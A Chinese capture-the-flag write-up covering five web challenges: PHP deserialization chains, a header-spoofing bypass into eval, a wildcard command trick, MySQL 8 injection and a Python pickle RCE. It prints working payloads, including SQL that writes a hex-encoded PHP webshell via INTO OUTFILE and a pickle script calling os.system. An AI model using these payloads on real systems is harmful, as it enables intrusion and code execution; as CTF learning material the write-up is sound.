0.碎碎念
这次web一下子给了7道题目我趣,打比赛的时候很坐牢,不过还是拿下了省一,感谢Straw师傅和Lunatic师傅带飞
1.ez_serialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php
error_reporting(0); class baby{ public $var; public $var2; public $var3;
public function learn($key){ echo file_get_contents(__DIR__.$key); }
public function getAge(){ return $this->var2->var3; }
public function __isset($var){ $this->learn($var); }
public function __invoke(){ return $this->learn($this->var); }
public function __wakeup(){ $this->getAge(); } }
class young{ public $var;
public function __toString(){ return ($this->var)(); } }
class old{ public $var;
public function __get($key){ return "Okay, you get the key, but we send you ".$this->var; } }
if(isset($_GET['age'])){ @unserialize($_GET['age']); } else{ highlight_file(__FILE__); } ?>
|
很简单的签到题目,上来就直接出了,还抢了个三血
payload
1 2 3 4 5 6
| $payload = new baby(); $payload->var2 = new old(); $payload->var2->var = new young(); $payload->var2->var->var = new baby(); $payload->var2->var->var->var = '/flag.php'; echo(serialize($payload));
|
然后直接f12就好了
2.ez_md5
有的东西不能多说啊。。。。。。。
给了附件
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php error_reporting(0); require_once 'check.php';
if (isRequestFromLocal()) { echo 'hello!'; $a = $_GET['cmd']; $b = $_GET['key1']; $c = $_GET['key2']; if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){ if(md5($b) == md5($c)){ eval($a); } }else{ echo 'Oh no, you are hacker!!!'; } } else { die("failed"); } ?>
|
check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php error_reporting(0); function isRequestFromLocal() { $localIP = '127.0.0.1';
$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
if ($clientIP === $localIP) { return true; } else { return false; } } ?>
|
怕哥们看不懂是吗
改xff头,然后用passthru打就好了
3.p2rce
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php error_reporting(0); highlight_file(__FILE__); class CCC { public $c; public $a; public $b;
public function __destruct() { $this->a = 'flag'; if($this->a === $this->b) { echo $this->c; } }
class AAA { public $s; public $a;
public function __toString() { $p = $this->a; return $this->s->$p; } } class BBB { public $b; public function __get($name) { if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) { global $flag; $flag = $this->b; echo $this->b; } else { return '<br/>get it!!'; } } } if(isset($_GET['ctf'])) { if(preg_match('/flag/i', $_GET['ctf'])) { die('nonono'); } $a = unserialize($_GET['ctf']); system($flag); throw new Exception("goaway!!!"); } else { highlight_file(__FILE__); }
|
也是很清楚的链子
这里要绕过好多东西
(preg_match(‘/flag/i’, $_GET[‘ctf’])
这里直接16进制绕过
换掉最后的flag
throw new Exception(“goaway!!!”);
把最后的大括号删掉就好了,破坏数据完整性,强制gc
is_string($this->b) && !preg_match(“/[A-Za-z0-9_$]+/“, $this->b)
想必各位都是卡在这里把,没错我也是
这里需要要花的通配符
1 2 3 4 5 6 7
| $all=new CCC(); $all->b="flag"; $all->c=new AAA(); $all->c->$a=new BBB(); $all->c->s=new BBB(); $all->c->s->b="/???/?? /* ."; echo((serialize($all)));
|
这里代表/bin/cp /* .
然后看到start.sh里面存在flag.sh,访问就好了
这个估计是非预期
看了0rays的wp,他们师傅给出的方法是上传一个文件,然后
把文件的内容当作system的参数就好
4.ezsql
题目提示是mysql8的注入,直接gg,没做过
【网安干货】MySQL8新特性注入技巧_mysql values row_IT老涵的博客-CSDN博客
本地搭建mysql8服务
1 2 3 4 5 6
| docker run -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql:8.0.21
docker exec -it <镜像id> /bin/bash
docker -u root -p 123456
|
mysql8注入特性
多一个表
information_schema.TABLESPACES_EXTENSIONS
这里面储存了数据库和数据表
VALUES语法
1 2 3 4 5 6 7
| VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index
|
gpt解释的
1 2 3 4 5 6 7 8 9 10 11
| row_constructor_list: 这是一个值构造器列表,它表示将要插入或者操作的行的列表。
ROW(value_list): 表示一行中的值列表。value_list是一系列数值,它们将填充到一行中的列中。
value_list: 这表示一个值的列表,它包含了一行中的各个列的值。
column_designator: 这是对列进行排序的部分。ORDER BY column_designator表示你可以按照指定的列对这些行进行排序。
column_index: 这可能是指行中的列的顺序或索引。当你要按照特定列的值对行进行排序时,你可以使用这个索引。
LIMIT BY number: 这是一个可选的部分,用于限制结果的数量,以便返回指定数量的行。
|
tables语法
1
| TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
|
可以看到这里使用table和上面select效果一样
与select不同的是
TABLE始终显示表单中的所有列
TABLE不允许对其进行任何过滤,即TABLE不支持任何WHERE子句
1 2 3 4 5 6 7
| 一些其他的payload id=0/**/union/**/values/**/row('injection') id=0/**/union/**/values/**/row(database()) id=0/**/union/**/values/**/row(user()) id=0/**/union/**/values/**/row(@@secure_file_priv) id=0/**/union/**/values/**/row(load_file('/flag')) id=0/**/union/**/values/**/row(0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)/**/into/**/outfile/**/'/var/www/html/shell.php'
|
回到这里
因为后面的查询语句里,使用的是table
table会始终显示所有的字段,这里就要去试哪一个回显
1 2 3
| 1'or/**/('def','fff111 aaagg',',',5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/329 1)#
|
注入出表名
然后注入出flag(不区分大小写,需要设置编码utf8mb4_bin)
这里没环境了,以后遇到了在说,先放一边吧
5.ezezweb
比赛的时候脑瘫了,没想到那个cookie是pickle反序列化的结果
我说那个结尾的ub.怎么那么熟悉,好像哪里看到过
直接上脚本
1 2 3 4 5 6 7 8 9
| import pickle import pickletools import os class obj: def __reduce__(self): return(os.system,('cat/flag',)) class1=obj() a=pickle.dumps(class1) print(a)
|
这里没回显,可以本地起一个http服务,然后curl上去
后面的jama哥们不会了,以后再说